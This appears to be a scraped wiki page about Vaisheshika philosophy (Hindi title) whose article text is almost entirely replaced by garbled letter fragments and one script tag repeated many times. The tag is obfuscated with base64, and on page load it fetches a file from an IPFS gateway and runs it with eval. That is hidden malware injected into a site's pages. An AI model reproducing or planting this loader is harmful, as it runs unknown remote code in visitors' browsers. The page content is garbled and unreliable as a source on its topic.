<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=वैशेषिक_दर्शन_का_वैशिष्ट्य&oldid=208616"